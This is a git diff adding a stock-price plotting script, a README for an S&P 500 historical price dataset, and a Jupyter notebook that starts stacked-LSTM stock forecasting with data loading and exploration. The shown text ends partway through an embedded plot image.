+ y = yf.Ticker(ticker) + df = y.history(period="1d", start=start_date, end=end_date) + if not df.empty: + data[ticker] = df["Close"] + else: + print("No data found for", ticker) + except Exception as e: + print("An error occurred while fetching data for", ticker, ":", str(e)) + + if not data.empty: + # Plotting the data + data.plot(title="Stock Price Analysis") + plt.xlabel("Date") + plt.ylabel("Price") + plt.show() + + print(data.head()) + else: + print("No data available for analysis.") + +# Entry point of the program +if __name__ == "__main__": + main() diff --git a/MachineLearning Projects/Stock-Market-Forecasting/README.md b/MachineLearning Projects/Stock-Market-Forecasting/README.md new file mode 100644 index 00000000..3234cd01 --- /dev/null +++ b/MachineLearning Projects/Stock-Market-Forecasting/README.md @@ -0,0 +1,35 @@ +# Stock-Market-Predictions +Predicting the stock market opening values using Deep learning's Model Recurrent Neural Networks which is a very powerful model. + +# Description + + +# Context +Stock market data can be interesting to analyze and as a further incentive, strong predictive models can have large financial payoff. The amount of financial data on the web is seemingly endless. A large and well structured dataset on a wide array of companies can be hard to come by. Here I provide a dataset with historical stock prices (last 5 years) for all companies currently found on the S&P 500 index. + +The script I used to acquire all of these .csv files can be found in this GitHub repository In the future if you wish for a more up to date dataset, this can be used to acquire new versions of the .csv files. + +Feb 2018 note: I have just updated the dataset to include data up to Feb 2018. I have also accounted for changes in the stocks on the S&P 500 index (RIP whole foods etc. etc.). + +# Content +The data is presented in a couple of formats to suit different individual's needs or computational limitations. I have included files containing 5 years of stock data (in the all_stocks_5yr.csv and corresponding folder). + +The folder individual_stocks_5yr contains files of data for individual stocks, labelled by their stock ticker name. The all_stocks_5yr.csv contains the same data, presented in a merged .csv file. Depending on the intended use (graphing, modelling etc.) the user may prefer one of these given formats. + +All the files have the following columns: Date - in format: yy-mm-dd + +Open - price of the stock at market open (this is NYSE data so all in USD) + +High - Highest price reached in the day + +Low Close - Lowest price reached in the day + +Volume - Number of shares traded + +Name - the stock's ticker name + +# Acknowledgements +Due to volatility in google finance, for the newest version I have switched over to acquiring the data from The Investor's Exchange api, the simple script I use to do this is found here. Special thanks to Kaggle, Github, pandas_datareader and The Market. + +# Inspiration +This dataset lends itself to a some very interesting visualizations. One can look at simple things like how prices change over time, graph an compare multiple stocks at once, or generate and graph new metrics from the data provided. From these data informative stock stats such as volatility and moving averages can be easily calculated. The million dollar question is: can you develop a model that can beat the market and allow you to make statistically informed trades! diff --git a/MachineLearning Projects/Stock-Market-Forecasting/Stock_Market_forecasting_using_stacked_LSTM.ipynb b/MachineLearning Projects/Stock-Market-Forecasting/Stock_Market_forecasting_using_stacked_LSTM.ipynb new file mode 100644 index 00000000..c6b5d33e --- /dev/null +++ b/MachineLearning Projects/Stock-Market-Forecasting/Stock_Market_forecasting_using_stacked_LSTM.ipynb @@ -0,0 +1,1969 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": 1, + "metadata": { + "id": "DTANoaBw5iLA" + }, + "outputs": [ + { + "name": "stderr", + "output_type": "stream", + "text": [ + "Matplotlib is building the font cache; this may take a moment.\n" + ] + } + ], + "source": [ + "import numpy as np \n", + "import pandas as pd \n", + "import matplotlib.pyplot as plt\n", + "%matplotlib inline\n", + "import seaborn as sns\n", + "from datetime import datetime, timedelta\n", + "import warnings\n", + "warnings.filterwarnings(\"ignore\")" + ] + }, + { + "cell_type": "code", + "execution_count": 2, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 206 + }, + "id": "TGefw8XP5iRW", + "outputId": "2c5bc7dd-6b80-47d9-ac77-7c1e2464a135" + }, + "outputs": [ + { + "data": { + "text/html": [ + "
\n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
DateOpenHighLowLastCloseTotal Trade QuantityTurnover (Lacs)
02018-09-28234.05235.95230.20233.50233.7530699147162.35
12018-09-27234.55236.80231.10233.80233.25508285911859.95
22018-09-26240.00240.00232.50235.00234.2522409095248.60
32018-09-25233.30236.75232.00236.25236.1023493685503.90
42018-09-24233.55239.20230.75234.00233.3034235097999.55
\n", + "
" + ], + "text/plain": [ + " Date Open High Low Last Close Total Trade Quantity \\\n", + "0 2018-09-28 234.05 235.95 230.20 233.50 233.75 3069914 \n", + "1 2018-09-27 234.55 236.80 231.10 233.80 233.25 5082859 \n", + "2 2018-09-26 240.00 240.00 232.50 235.00 234.25 2240909 \n", + "3 2018-09-25 233.30 236.75 232.00 236.25 236.10 2349368 \n", + "4 2018-09-24 233.55 239.20 230.75 234.00 233.30 3423509 \n", + "\n", + " Turnover (Lacs) \n", + "0 7162.35 \n", + "1 11859.95 \n", + "2 5248.60 \n", + "3 5503.90 \n", + "4 7999.55 " + ] + }, + "execution_count": 2, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "stock_df = pd.read_csv('https://raw.githubusercontent.com/mwitiderrick/stockprice/master/NSE-TATAGLOBAL.csv')\n", + "stock_df.head()" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "XA6tU6nb644I" + }, + "source": [ + "**Data** **Exploration**" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "7nnh_O056snT", + "outputId": "13a229e1-cfb4-44d1-f5b7-191e4566bcef" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "(2035, 8)" + ] + }, + "execution_count": 3, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "stock_df.shape" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "XEfxh48M6sqB", + "outputId": "5534b485-0f77-4c20-cbd4-9dbef33aa2f9" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "Date 0\n", + "Open 0\n", + "High 0\n", + "Low 0\n", + "Last 0\n", + "Close 0\n", + "Total Trade Quantity 0\n", + "Turnover (Lacs) 0\n", + "dtype: int64" + ] + }, + "execution_count": 4, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "stock_df.isnull().sum()" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "Uf83d5gW_d5K" + }, + "source": [ + "**Data visualization**" + ] + }, + { + "cell_type": "code", + "execution_count": 5, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "cIzqhDvV5idH", + "outputId": "9e3b95f9-19fc-4c00-8c12-08241af852d3" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "Index(['Date', 'Open', 'High', 'Low', 'Last', 'Close', 'Total Trade Quantity',\n", + " 'Turnover (Lacs)'],\n", + " dtype='object')" + ] + }, + "execution_count": 5, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "stock_df.columns" + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 1000 + }, + "id": "unvr5xXg_o3o", + "outputId": "a395fd69-6f36-44f1-ad2f-9deeff2cb7e9" + }, + "outputs": [ + { + "data": { + "image/png": "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